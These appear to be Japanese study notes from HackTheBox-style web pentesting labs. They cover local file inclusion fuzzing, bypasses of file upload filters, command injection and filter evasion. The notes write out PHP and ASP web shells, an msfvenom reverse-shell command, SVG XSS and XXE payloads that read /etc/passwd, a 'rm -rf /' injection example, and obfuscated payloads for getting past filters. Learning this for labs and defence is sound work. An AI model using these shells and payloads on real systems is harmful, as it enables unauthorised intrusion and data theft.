- 使えそうなパラメータに、よくあるLFIパスを入れてテストする
ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
- 目的は、サーバ上の機密ファイル(例:
/etc/passwd
)が読み取れるか確認すること
サーバーファイルへのアクセス
ステップ7:Webルート(公開ディレクトリ)を探る
- アップロードしたファイルにアクセスしたいけど、相対パスじゃ届かない…
- 例:
../../uploads/evil.php
←これがダメな時
- 例:
- そんな時は、**Webサーバのルートディレクトリ(例:/var/www/html)**を突き止めて、絶対パスでアクセスする
- ffufでよくあるWebルートパスを片っ端から試す:
ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
- 成功例:
/var/www/html/
がヒットしたら、その中にあるファイルが対象になるかも!
ステップ8:設定ファイルやログファイルを狙う
- サーバの内部情報を得るには、設定ファイルやログの読み取りが有効
- 例:Apache設定 →
/etc/apache2/apache2.conf
- 例:アクセスログ →
/var/log/apache2/access.log
- 例:Apache設定 →
- 方法①:LFI-Jhaddix.txt などのワードリストをそのまま使うんまpー
- 方法②:専用のLinux設定ファイル用ワードリストでファズィング
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
出力例(重要なファイルの一部):
/etc/apache2/apache2.conf
← Apacheの設定ファイル/etc/apache2/envvars
← 環境変数(ログディレクトリのパスあり)/etc/hostname
,/etc/login.defs
,/etc/fstab
なども読めるかも
ステップ9:変数展開の読み解き(手動確認も大事)
- 設定ファイル内に
${APACHE_LOG_DIR}
のような変数があることが多い - その場合は、変数の中身を探すために
/etc/apache2/envvars
なども読む - 例:
curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/apache2.conf
- 出力の中に
export APACHE_LOG_DIR=/var/log/apache2
などが見つかれば、ログファイルの場所も把握できる
ステップ10:情報をつなげて、さらに深掘り
- 読み取った設定やログの内容から、新しい攻撃経路が見つかることもある
- 例:ログファイルの改ざん(ログポイズニング)
- 例:アップロードファイルの場所判明 → シェル実行 など
- ツールだけに頼らず、自分で「読んで理解する力」がめちゃくちゃ重要!
おまけ:LFI特化ツールの紹介
- LFIの検出・利用を自動化してくれるツールたち(使う時は自己責任で!)
- LFISuite:多機能なLFIエクスプロイトツール(Python2)
- LFiFreak:軽量・簡易なLFIスキャナ
- liffy:クラシックなLFIスクリプト
- 注意点:
- 多くがPython2で作られており、今は動作が不安定 or 非推奨
- 手動での調査+ffufなどの軽量ツールとの併用が実戦向き
- GitHubで「LFI scanner」などで検索すると他にも色々出てくる
File Upload
バリデーションが欠如している場合
想定 : バリデーションなし
- どんなファイルタイプでもアップロード可能
webフレームワークの特定
- 何で描かれているのかの言語をまず特定する必要がある
- ルーティングで、何を使っているのかがわからない時もあるので、ffufなどでファジングなどを行
- 上のffufのところで書いてある
脆弱性の特定とテスト
- 任意のPHPが実行されるのかどうかを確認するために、以下のスクリプトをアップロードして、アップロードしたところに触ってみる
<?php echo "Hello HTB"; ?>
- 正常に実行された場合は、echo部分だけ出力される
- もしPHPコードが実行されなかった場合は、ソースコードがそのまま表示される
webシェル
- PHPの場合、phpbash は優れた選択肢の一つ
- ターミナル風の半インタラクティブなウェブシェルを提供する
sudo wget https://github.com/Arrexel/phpbash/raw/refs/heads/master/phpbash.php
- SecLists プロジェクトには、さまざまなフレームワークと言語向けのウェブシェルが多くある
- PwnBox 環境では
/opt/useful/seclists/Web-Shells
ディレクトリに保存されている
自分でシンプルなウェブシェルを書く方法
PHP
- system() 関数を使ってシステムコマンドを実行・出力できる
- 以下のように
$_REQUEST['cmd']
を通じてパラメータを渡せば、簡単なシェルが作成可能
<?php system($_REQUEST['cmd']); ?>
- コードを shell.php に保存し、アプリケーションにアップロードすれば、
?cmd=id
のようにGETパラメータを使ってコマンドを実行できる
.NET
- 拡張子が.asp
request('cmd')
をeval()
に渡すことで、コマンドを実行してその出力を表示できる
<% eval request('cmd') %>
リバースシェル
- https://www.revshells.com/
- pentestmonkeyのPHPリバースシェル がよく使われる
カスタムリバースシェルの生成
- システムによっては、system関数がブロックされることもあるから、その時は、msfvenomとかでリバースシェルを作成するといい
phpのリバースシェルの作成
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php
クライアントサイドバリデーション
- 多くのウェブアプリケーションでは、「フロントエンドのJavaScriptコードのみ」に依存して、選択されたファイル形式を検証している
- このファイル形式の検証はクライアントサイドで行われているため、サーバーと直接やり取りすることで簡単にバイパス可能
- さらに、ブラウザの開発者ツールを使って、フロントエンドのコードを改変し、検証処理そのものを無効化することもできる
回避
- クライアントサイドコードは完全に自分の制御下にある
- つまり、バックエンドでファイル検証が行われていない限り、どんなファイル形式でもアップロードできる
- アップロードリクエストを直接改変してサーバーに送信する
- 画像を送るときのリクエストのcontent-typeがmultipart/form-dataだけで、pngだけに指定されてないから、filenameを.phpにしてもいいってこと
- アップロード後、レスポンスで File successfully uploaded というメッセージが返ってくれば、アップロード成功
- そのリンクにアクセスすることで、アップロードされたウェブシェルを使ってリモートコード実行が可能になる
- フロントエンドコード(JavaScriptやHTML)を改変し、バリデーション処理を無効化する
ブラウザの開発者ツールを押して、プロフィール画像をクリックすると、ここがアップロードする部分だとわかる
<input type="file" name="uploadFile" id="uploadFile" onchange="checkFile(this)" accept=".jpg,.jpeg,.png">
ここで重要なのは以下の2点
accept=".jpg,.jpeg,.png"
:選択可能なファイル形式の制限onchange="checkFile(this)"
:ファイル選択時にJavaScript関数を呼び出す処理
accept 属性は、選択ダイアログに影響するだけ
- 「すべてのファイル(All Files)」を選択すれば回避可能なので、ここを変える必要はない
注目すべきは checkFile(this) の部分
- この関数が、ファイル選択時にファイル形式の検証を実行しているよう
- 詳細を確認するには、CTRL + SHIFT + K でコンソールを開き、以下のように関数名の「checkfile」を入力する
function checkFile(File) {
...SNIP...
if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
$('#error_message').text("Only images are allowed!");
File.form.reset();
$("#submit").attr("disabled", true);
...SNIP...
}
}
この関数では、ファイルの拡張子が jpg、jpeg、png のいずれでもない場合に、
- 「Only images are allowed!(画像ファイルのみ許可されています!)」というメッセージを表示
- フォームをリセット
- アップロードボタンを無効化
というバリデーションの動作を行っていることがわかる - JavaScriptコードを編集する必要すらなく、HTMLから関数の呼び出しを削除するだけで十分
<input type="file" name="uploadFile" id="uploadFile" onchange="" accept=".jpg,.jpeg,.png">
ブラックリストフィルター
- フロントでのバリデーションは容易に突破できる
- バックエンドのでのバリデーションもしっかり行わないといけない
- 今度は特定の拡張子を禁止する「ブラックリスト」によって、ウェブスクリプトのアップロードを防いでいる
クライアントサイドのバイパス手法を使ってもブロックされる時は、バックエンド側にもバリデーションがあるのが原因
- 一般的に、バックエンドでのファイル拡張子のバリデーションは以下のどちらか
- ブラックリスト方式(禁止された拡張子と照合)
- ホワイトリスト方式(許可された拡張子と照合)
- さらに進んだバリデーションでは、MIMEタイプやファイル内容そのものを確認することもある
**拡張子のブラックリスト
- 最も脆弱な方式
- なぜなら、完全なリストを維持するのが難しく、除外されていない拡張子から簡単にバイパス可能**
- 例
アップロードされたファイル名から拡張子を抽出し、それが php, php7, phps のいずれかであれば、処理を中断して「許可されていません」と表示するコード
$fileName = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');
if (in_array($extension, $blacklist)) {
echo "File type not allowed";
die();
}
この方法の欠点
- リストに含まれていない他のPHP系の拡張子(例:phtml, php5 など)ではすり抜けられる可能性がある
- MIMEタイプやファイル内容は一切見ていない
- 大文字小文字の区別をしているため、Php や pHp などの混合ケースの拡張子でバイパス可能
回避
拡張子のファジング(Fuzzing Extensions)
- 何が許可されていて、何が許可されていないかをファジングによって明らかにする
- エラーメッセージが返ってこない、別のメッセージが返る、あるいはアップロードが成功する場合は、その拡張子が許可されている可能性がある
辞書
- 全体
/opt/useful/seclists/Discovery/Web-Content/web-extensions.txt
- .php
- .NET
適切な辞書を使って、Burp SuiteのIntruderでファジングする
filenameのところの拡張子のところをファジングする
URLのドットとかエンコードされるとダメなので、必ずオフにする!!!!!
そして、許可されている拡張子を使って、ファイルをアップロードする
- すべての拡張子がすべてのウェブサーバー構成で動作するわけではないので、PHPコードの実行が成功する拡張子を見つけるためにいくつか試す必要があるかもしれない
拡張子ブラックリストのすり抜け方リスト
- PHP系:多様な拡張子が実行される。.php, .phtml, .php3, .php5, .phar, .inc なども要注意
- .NET系:.aspx, .ashx, .asmx, .cshtml, .vbhtml, .axd など。ブラックリストの抜け穴になりやすい
- Java系:.jsp, .jspx, .do, .action, .servlet など。設定やフレームワークによって拡張子が異なる
- Python/Node系:基本はルーティングで管理されるが、.py, .cgi, .fcgi, .js など意図せず実行される構成に注意
- 共通で注意すべき形式:.zip, .rar, .tar.gz(展開される場合).html, .htm, .svg, .json(XSSやデータ注入のリスク)
- バイパス用テクニック:大文字小文字混在(例:.PhP)、ダブル拡張子(例:shell.php.jpg)、nullバイト注入(%00)、.htaccessによる強制実行設定など
ホワイトリストフィルター
-
ファイル拡張子の検証にはもう一つの方法があります。それが、許可された拡張子のホワイトリストを使用する方法
-
ホワイトリストは一般的にブラックリストよりも安全とされている
-
サーバーは指定された拡張子のみを許可するため、すべての危険な拡張子を網羅する必要がない
-
PHPのコードで、ファイル名が指定された画像の拡張子を「含んでいるか」をチェックしているようなコード
- 画像の拡張子が末尾に入っていない( .jpg.php )とかを許可してしまうことになる
$fileName = basename($_FILES["uploadFile"]["name"]);
if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
echo "Only images are allowed";
die();
}
回避
- ブラックリストフィルターと同様に、ファジングを行う
ダブル拡張子
- 画像拡張子以外の辞書
リバースダブル拡張子(Reverse Double Extension)
- ファイルアップロード機能そのものには脆弱性がなくても、サーバー設定に脆弱性がある場合は依然として攻撃可能
- サーバー(Apacheなど)の設定が甘い時とか
- Apacheの FilesMatch に $ がないと、名前のどこかに .php が含まれるだけで実行される
- shell.php.jpg のようなファイルは、ファイル名の末尾が .jpg なのでアップロード時の検証を通過
- しかし、ファイル名に .php を含むため、ApacheがそれをPHPファイルとして扱い実行してしまう
- Apacheの FilesMatch に $ がないと、名前のどこかに .php が含まれるだけで実行される
文字注入 Character Injection
- これは、ファイル名の拡張子の前後に特殊文字を挿入することで、Webアプリケーションやサーバーが拡張子を誤って解釈するように仕向けるテクニック
- 入れられる文字
%20
%0a
%00
- PHP 5.x以前のサーバーでは、%00(ヌルバイト)が文字列の終端と解釈される
- つまり、サーバーはこのファイルを shell.php として保存・処理してしまい、PHPとして実行される
- 一方、ファイル名には .jpg が含まれているため、ホワイトリスト検証は通る
%0d0a
/
.\
.
…
:
- Windows環境では、コロン以降の部分が無視される(NTFS Alternate Data Streams)
- このため、実際には shell.aspx として保存され、.aspx が実行される
スクリプトでファイル名のバリエーションを自動生成
以下のBashスクリプトを使えば、様々な文字注入パターンを自動で生成できる
文字注入+ダブル拡張子の辞書作成コマンド
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
for ext in '.php' '.php3' '.php4' '.php5' '.php7' '.php8' \
'.pht' '.phar' '.phpt' '.pgif' '.phtml' '.phtm'; do
echo "shell$char$ext.jpg" >> wordlist.txt
echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell.jpg$ext$char" >> wordlist.txt
done
done
ダブル拡張子の辞書作成コマンド
#!/bin/bash
> double_wordlist.txt
for ext in '.php' '.php3' '.php4' '.php5' '.php7' '.php8' \
'.pht' '.phar' '.phpt' '.pgif' '.phtml' '.phtm'; do
echo "shell$ext.jpg" >> double_wordlist.txt
echo "shell.jpg$ext" >> double_wordlist.txt
done
Content-Typeフィルター
- 拡張子フィルターは、複数の拡張子(.jpg, .png, .gifなど)を許可する傾向があります。
- 一方で、ファイルの中身を検査するフィルターは、基本的に「画像」や「動画」、「ドキュメント」といった1つのカテゴリに制限されます。
- そのため、ブラックリストやホワイトリストのような方式ではなく、カテゴリベースの判断をするのが一般的です。
サーバーが中身を判断する方法は主に2つ
1. Content-Type ヘッダー(MIMEタイプ)
2. ファイル自体のバイナリ内容(マジックバイトなど)
- Content-Type ヘッダーは ブラウザが自動で設定しています(通常は拡張子に基づく)。
- つまり、これはクライアントサイドで制御可能なため、改ざんできるということ!
回避
SecLists の web-all-content-types.txt を使って、Burp Intruder で Content-Type ヘッダーに対してファジングを実施する
しかし、画像系のみ許可となっているので、image系のコンテンツタイプのみにする
wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/web-all-content-types.txt
cat web-all-content-types.txt | grep 'image/' > image-content-types.txt
- ファイルアップロードのHTTPリクエストには、Content-Typeが2箇所存在する場合がある
ヘッダーの種類 | 内容 |
---|---|
リクエスト全体の Content-Type | 通常は multipart/form-data |
添付ファイル部分の Content-Type | 各ファイルの「中身の種類」を示す |
- 通常は添付ファイル側の Content-Type を変更する
- ただし、ファイルが POST データとして送信されている場合は、全体の Content-Type を変更する必要がある場合もある
MIME-Typeフィルター
-
MIME(Multipurpose Internet Mail Extensions)は、ファイルの形式やバイト構造から種類を判断するインターネット標準の仕組み
-
この検証は通常、ファイルの最初の数バイト(いわゆる「マジックバイト」や「ファイルシグネチャ」)を調べることで行われる
-
PNGやJPEGなどの他の画像フォーマットは、マジックバイトが「非表示のバイナリ(非印字文字)」なので扱いづらい
-
一方で GIF画像はGIF8というASCII文字列で始まるので、もっとも真似しやすい
- GIF87a、GIF89a どちらも GIF8 を含むので、それだけでもGIFとして判定される場合が多い
-
MIME タイプは、Content-Typeヘッダーと似ていますが、取得元が違う点に注意
- Content-Type → クライアント(ブラウザ)が送ってくる
- MIMEタイプ → サーバー側でファイルの内容を直接見て判断する
回避
- PHPコードの前に GIF8 を追加して、ファイルの先頭を「GIF画像のように偽装」する
- そして、ファイルの拡張子は .php のままにしておくことで、サーバー側でPHPコードとして実行されることを狙う
拡張子 | Content-Type | MIMEタイプ | バイパスの意図 |
---|---|---|---|
✅許可 | ✅許可 | ✅許可 | 正常な画像(通る) |
❌拒否 | ✅許可 | ✅許可 | 拡張子だけNG → 実行される可能性あり |
✅許可 | ❌拒否 | ✅許可 | ヘッダー偽装必要(Burpなど) |
✅許可 | ✅許可 | ❌拒否 | 中身の偽装(GIF8など)で突破狙う |
✅許可 | ❌拒否 | ❌拒否 | ギリギリなケース、条件次第では通る |
❌拒否 | ✅許可 | ❌拒否 | 拡張子だけで落ちる実装もある |
❌拒否 | ❌拒否 | ✅許可 | MIMEが優先されるケースで突破可能性あり |
❌拒否 | ❌拒否 | ❌拒否 | 完全アウト(要バイパス技術) |
実用的なバイパステクニック例 |
手法 | 内容 |
---|---|
.php.jpg + GIF8 + PHPコード | 拡張子は画像、中身はPHP+GIFマジックで実行狙う |
.jpg + Content-Type: image/gif + MIMEはGIF8 | 3重の画像偽装でフィルターすり抜け |
.php + Content-Type: image/png + GIF8先頭 | サーバーが拡張子無視なら実行される |
.svg | 一見画像だがJavaScript埋め込み可能(XSS) |
.phtml, .php5 | .phpがNGでも、別拡張子なら通るサーバーも多い |
コンテンツタイプとMIMEはイメージにして、ダブル拡張子でバイパスする例 | |
![]() |
それ以外のフィルター・攻撃
アップロードフォームの中には、非常に厳格なフィルターが設定されていて、ここまで学んだ手法では突破できないケースも存在する
許可されているファイルタイプを利用した攻撃
ファイルの種類によっては、悪意のあるデータを埋め込むことで、新たな脆弱性をWebアプリケーションに導入することが可能
可能になるファイルの種類
- SVG
- HTML
- XML
- 一部の画像や文書ファイル(PDF、Wordなど)
なので、アップロードできる拡張子をファジングで調べることも非常に重要
それによって、どんな攻撃がそのWebサーバーで実行可能かが明らかになる
XSS
HTMLファイルによるStored XSS
- HTMLファイルはPHPのようなサーバーサイドコードは実行できませんが、JavaScriptを埋め込むことでXSSやCSRF攻撃を仕掛けることが可能
- サイトがHTMLファイルのアップロードを許していれば、被害者にそのファイルのURLを踏ませることでXSSが成立する
画像メタデータによるXSS
- 一部のWebアプリでは、アップロードされた画像のメタデータを表示するものがある
- このようなアプリでは、Comment や Artist のようなテキストフィールドにXSSペイロードを仕込むことができる
snowyowl644@htb[/htb]$ exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
snowyowl644@htb[/htb]$ exiftool HTB.jpg
...SNIP...
Comment : "><img src=1 onerror=alert(window.origin)>
- さらに、MIME-Typeを text/html に偽装すれば、画像としてではなくHTMLとして表示され、XSSが成立する可能性もある
SVGファイルによるXSS
- SVG(Scalable Vector Graphics)はXMLベースの画像形式です。XMLの中に
<script>
タグを埋め込めば、XSSを仕掛けることが可能
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
<rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
<script type="text/javascript">alert(window.origin);</script>
</svg>
XXE
XXE : XML External Entity
SVGはXMLベースなので、XXE(外部エンティティ参照)攻撃にも利用可能
「これ、upload.phpのhtmlコードに取得したファイルの中身が出てくる!!!」
/etc/passwd をリークする例
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
PHPファイルのソースコードをbase64で抜き出す例
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
- こうしたXXE攻撃は、SVGだけでなくPDF、Word、PowerPointなどXMLを内部構造に持つドキュメント形式にも応用可能
- ビューアがXXEに対して脆弱であれば、ブラインドXXEやSSRF攻撃にも発展する
DoS
ファイルアップロードを悪用してサーバーに負荷をかけてクラッシュさせることもできる
XXEによるDoS
- XXE(XML External Entity)の悪用でリソースを枯渇させる攻撃
- 無限エンティティ展開や再帰構造によって、XMLパーサーに過剰な負荷をかけて停止させる
- SVGやXMLドキュメントで仕掛けやすい
ZIP爆弾(Decompression Bomb)
- 自動解凍されるファイルを利用したクラッシュ攻撃
- ZIP内に再帰的に圧縮された大量のファイルを入れておく
- 解凍時に膨大な容量(例:数PB)になり、サーバーのディスクやメモリを圧迫
ピクセルフラッド攻撃(画像サイズ偽装)
- JPEGやPNG画像の圧縮情報を改ざんしてリソース消費を引き起こす
- 例:画像サイズを
(0xffff x 0xffff)
(約4ギガピクセル)と偽装 - サーバーが表示処理で大量のメモリを確保しようとしてクラッシュ
- 例:画像サイズを
その他のDoS手法
- アップロード機能を悪用してサーバーに過剰な負荷を与える方法
- 極端に大きなファイルをアップロードしてストレージを圧迫
- ディレクトリトラバーサルで
/etc/passwd
などの重要ファイルに書き込んでシステム障害を引き起こす
その他の攻撃
ファイル名インジェクション
- ファイル名に悪意ある文字列を埋め込んで攻撃
- OSコマンド:file$(whoami).jpg → コマンドインジェクション
- XSS: → ファイル名表示時に実行
- SQLi:file';select+sleep(5);--.jpg → クエリ破壊
アップロードディレクトリの開示
- 保存場所(uploadsパス)を特定するための攻撃
- LFIやXXEでソースコードからパスを調べる
- 同名ファイルアップロードでエラーを発生させる
- 超長いファイル名やタイミング攻撃で例外を誘発
Windows特有のテクニック
- Windowsに依存するファイル名の仕様を悪用
- 特殊文字(< > | * ?)でエラー誘発・情報漏洩
- 予約語(CON, NUL, COM1など)は作成できずエラー
- 8.3形式ファイル名(HAC~1.TXT)で上書きや不正アクセス
高度なファイル処理の悪用
- アップロード後の自動処理を狙う
- ffmpeg処理でのXXE(例:AVIファイルの罠)
- 圧縮・変換・リネーム処理に脆弱性があればRCEも可能
- ライブラリや独自実装の不備からバグバウンティ事例多数
Command Injection
コマンドインジェクションとは?
- ユーザー入力を悪用して、サーバー上で意図しない「システムコマンド」を実行できてしまう脆弱性
- 例:ファイルを作る・削除する・他のシステムにアクセスするなど
- 最悪、サーバーやネットワーク全体が乗っ取られる危険もある
OSコマンドインジェクションの具体例
PHPの場合
system()
などの関数にユーザー入力を直接使っていると危険
<?php
if (isset($_GET['filename'])) {
system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>
- filename に "; rm -rf /;" みたいなコマンドを入れると、とんでもないことに…
Node.jsの場合
- child_process.exec() にそのまま使うと同じく危険
app.get("/createfile", function(req, res){
child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})
どうやって防ぐ?
- ユーザー入力は絶対に直接コマンドやクエリに使わない
- サニタイズ(不正な文字を除去・無効化)する
- ホワイトリスト(許可された値のみ許容)を使う
- フレームワークやライブラリの安全な関数を使う
- 不要なコマンド実行処理を避ける(設計段階で工夫)
検出
- ユーザーの入力がそのまま直接コマンドやクエリに使われているときにコマンドインジェクションが起きる
コマンドインジェクションの手法
- これらの演算子のいずれかを使って、別のコマンドを注入することで、両方またはいずれかのコマンドを実行させることができる
- 基本的なコマンドインジェクションでは、上の全ての演算子がweb appのフレームワークや言語に限らず使える
- 唯一の例外はセミコロン(;)で、これはWindowsのコマンドライン(CMD)で実行されている場合には機能しない
- ただし、Windows PowerShellで実行されている場合は使える
ポイント
- インジェクション文字だとうまくいかなくても、URLエンコードされた文字だとうまくいくこともあるので、URLエンコードされた文字も必ず試す!!
- 改行文字(new-line character)は通常ブラックリストに含まれていないことが多い
- サービスの中でも使ってることがあるから
インジェクション演算子 | インジェクション文字 | URLエンコードされた文字 | 実行されるコマンド |
---|---|---|---|
セミコロン | ; | %3b | 両方 |
改行(new-line) | \n | %0a | 両方 |
バックグラウンド | & | %26 | 両方(2番目が先に出力されることが多い) |
パイプ | | | %7c | 両方 (2番目のみのコマンドの出力される) |
AND | && | %26%26 | 両方(1つ目が成功した場合のみ2つ目実行) |
OR | || | %7c%7c | 二番目(1つ目が失敗した場合) |
Tab | %09 | スペースフィルターがかかっている場合のバイパス | |
サブシェル(バッククォート) | `` | %60%60 | 両方(Linuxのみ) |
サブシェル($()) | $() | %24%28%29 | 両方(Linuxのみ) |
フィルターバイパス
- アプリケーション側はインジェクションを防ぐために色々な対策をしている
- フロントエンドでの形式チェック(例:IPアドレスしか受け付けない)
- バックエンドでのブラックリストチェック(特定の文字やコマンドを禁止)
- WAF(Webアプリケーションファイアウォール)による検知とブロック
ブラックリスト型フィルターのバイパス
- 特定の文字やコマンドを「危険」として検出・拒否する仕組み
- 例:
;
,&&
,||
,|
,whoami
などが対象 - PHPなどで以下のようにチェックされることがある
- 例:
$blacklist = ['&', '|', ';'];
foreach ($blacklist as $c) {
if (strpos($_POST['ip'], $c) !== false) {
echo "Invalid input";
}
}
どうやってブロックされた原因を調べる?
- 入力を少しずつ変えて試す(=フィルター調査)
- OKだったものからスタート(例:127.0.0.1)
- 少しずつ文字を追加してどこでブロックされるか確認
- 例:127.0.0.1; → NGなら ; が原因
- こうすることで、「どの文字がブロックされたのか」を特定できる
ブロックの種類
- アプリ側(PHPなど)でブロック
- 出力欄に「Invalid input」などのエラーメッセージが表示される
- WAFでブロック
- 別の画面にリダイレクトされ、IPやリクエスト情報が表示されることもある
まとめ
- 表面的にブロックされても、裏側で処理されていないこともある(=バイパス可能)
- ブロックされた理由を「少しずつ試して特定」するのが重要
- ブラックリスト方式には限界があるので、回避方法を知ることが攻撃/防御の第一歩
スペースフィルターのバイパス
スペースフィルターとは?
- スペース(空白文字)を禁止する or チェックするフィルターのこと
例 : 改行文字スペースで、コマンドインジェクションを使用とするとエラーになる
127.0.0.1%0a whoami
タブによるバイパス
- スペースフィルターのバイパスには、スペースの代わりに**タブ(%09)**が使える
127.0.0.1%0a%09whoami
$IFSでのバイパス
- Linuxの環境変数$IFS(Internal Field Separator)はデフォルトでスペースとタブを含んでおり、コマンド引数の間に使用することで動作する
- スペースの代わりに${IFS}を使用すれば、自動的にスペースとして解釈され、コマンドが機能する
127.0.0.1%0a${IFS}whoami
波括弧展開(Brace Expansion)でのバイパス
- Bashの波括弧展開(Brace Expansion)機能を使えば、引数の間にスペースを含めずにコマンドを分割することができる
- スペースを使わずに両方のコマンドを正常に実行できるから、スペースフィルタの回避にも便利
127.0.0.1%0a{ls,-la}
その他のブラックリスト文字のバイパス
- 「スラッシュ(/)」や「バックスラッシュ(\)」もよくブラックリストに登録されていることがある
- ブラックリスト文字を使わずに、必要な文字を生成するためのテクニックはいくつか存在する
Linux
- Linuxの環境変数を使うことで、スラッシュや他の文字を生成することができる
- ${IFS}のようにスペースが直接代入されている環境変数はありますが、スラッシュやセミコロンに対応する特定の環境変数は存在しない
⇨ スラッシュやセミコロンが含まれている環境変数から、その文字の位置と長さを指定することで取り出すことが可能
**
snowyowl644@htb[/htb]$ echo ${PATH}
/usr/local/bin:/usr/bin:/bin:/usr/games
なので、環境変数の文字列の先頭一文字だけを取り出すと、スラッシュが手にはいる
snowyowl644@htb[/htb]$ echo ${PATH:0:1}
/
同様の手口で、セミコロンも取り出せる
- 環境変数 LS_COLORS の10文字目から1文字だけを取り出すと、セミコロンが得られる
snowyowl644@htb[/htb]$ echo ${LS_COLORS:10:1}
;
応用
- printenvコマンドを使えば、Linux上のすべての環境変数を表示できる
- そこから有用な文字を含んでいる変数を探し、必要な文字だけを切り出して使用するという戦略が立てられる
最終的なバイパスペイロードの例
これで、ブラックリストに含まれている文字を直接使わずに127.0.0.1; 任意のコマンド
というコマンドにできる
127.0.0.1${LS_COLORS:10:1}${IFS}
Windows
- 環境編集から、バックスラッシュを取得するというのは、Windowsでもできる
CMD
C:\htb> echo %HOMEPATH:~6,-11%
\
Powershell
- PowerShellでは文字列は配列のように扱われるため、取り出したい文字のインデックスを指定するだけで取得できる
PS C:\htb> $env:HOMEPATH[0]
\
PS C:\htb> $env:PROGRAMFILES[10]
PS C:\htb>
文字シフト(Character Shifting)
- 必要な文字を直接使わずに生成する別のテクニック
- 入力された文字をASCIIコードで1つ先にシフトさせて出力するLinuxコマンド
snowyowl644@htb[/htb]$ man ascii # \ is on 92, before it is [ on 91
snowyowl644@htb[/htb]$ echo $(tr '!-}' '"-~'<<<[)
\
ブラックリストのコマンドのバイパス
- 1文字ずつのフィルターを回避する方法をいくつか見てきた
- しかし、ブラックリスト登録された「コマンド」を回避する場合は、また異なる手法が必要になる
- もしそれらのコマンドを別の形で見せかける(難読化する)ことができれば、フィルターをバイパスできる可能性がある
コマンドに対するブラックリストの確認
- このとき、スペースやセミコロンといった文字はブロックされていないにもかかわらず、リクエストが再びブロックされた
- これはおそらく、別の種類のフィルター、つまり「コマンドのブラックリスト」によるもの
PHPのコマンドブラックリスト
$blacklist = ['whoami', 'cat', ...省略...];
foreach ($blacklist as $word) {
if (strpos($_POST['ip'], $word) !== false) {
echo "Invalid input";
}
}
コマンド難読化(Obfuscation)の手法
- 仕組みの場合、少しでも異なる形でコマンドを記述すれば、検出をすり抜ける可能性がある
- 幸いなことに、難読化のテクニックを使えば、コマンド名そのものを使わずに同じ動作を実行することが可能
よく使われるコマンド難読化
- コマンドの途中に特定の文字を挿入するという方法
- これらの文字は、Bash や PowerShell のようなコマンドシェルでは無視される
- あたかも何も挿入されていないかのように、コマンドが正しく実行される
- このように無視される文字には、「シングルクォート(')」や「ダブルクォート(")」などがある
Linux・Windows
- LinuxとWindowsの両方で使えるテクニック
シングルクオートの挿入
21y4d@htb[/htb]$ w'h'o'am'i
21y4d
ダブルクオートの挿入
21y4d@htb[/htb]$ w"h"o"am"i
21y4d
注意点
- クォートの種類は混ぜないこと(シングルとダブルを混ぜない)
- クォートの数は偶数である必要がある(1つだけだと構文エラーになる)
Linux
- クォート以外にもいくつかの文字をコマンドの途中に挿入しても、Bashシェルがそれを無視して処理してくれる場合がある
- 代表的なものは
- バックスラッシュ(\)
- 位置パラメータ $@(スクリプト内で全引数を表す)
who$@ami
w\ho\am\i
これまでのバイパス手法を使ったコマンド
127.0.0.1%0a%09{c$@at,..${PATH:0:1}..${PATH:0:1}..${PATH:0:1}..${PATH:0:1}..${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt}
Windows
- Windowsでも、コマンドの途中に特定の文字を挿入しても動作に影響しないという性質を利用した難読化が可能
- 代表例
- キャレット(^)
C:\htb> who^ami
21y4d
高度なコマンド難読化
大文字・小文字の操作
-
wafとかがしっかりしたやつが入ってると、基本的な回避テクニックが適用されないこともある
-
このような状況では、より高度なテクニックを使うことで、注入されたコマンドが検出される可能性を大きく減らすことができる
-
この方法が有効な理由は、ブラックリストによるコマンドのチェックが「正確な単語」にしか反応しない場合があるから
-
特にLinuxでは、システム自体が大文字と小文字を区別する(case-sensitive)ため、少しでも異なると別のコマンドとして扱われる
例 -
全部大文字にする:WHOAMI
-
大文字・小文字を交互にする:WhOaMi
Windows
PS C:\htb> WhOaMi
21y4d
Linux
- 以下のようなコマンドを使うことで、コマンドをすべて小文字に変換してから実行することができる
21y4d@htb[/htb]$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
21y4d
- このコマンドでは、aに代入された文字列を
${a,,}
で小文字化し、printfで出力・実行している
$(a="WhOaMi"; printf %s "${a,,}")
フィルターされる文字の注意点
- ただし、このコマンドをWebアプリケーション(例:Host Checker)で使ってみると、リクエストがブロックされてしまうことがある
- その原因は何でしょうか?
- 答えは、このコマンドに「スペース文字」が含まれているからです。以前に確認したように、スペースはフィルター対象となっている
- しっかり難読化の時もそれぞれのbバイパスは忘れずに行う
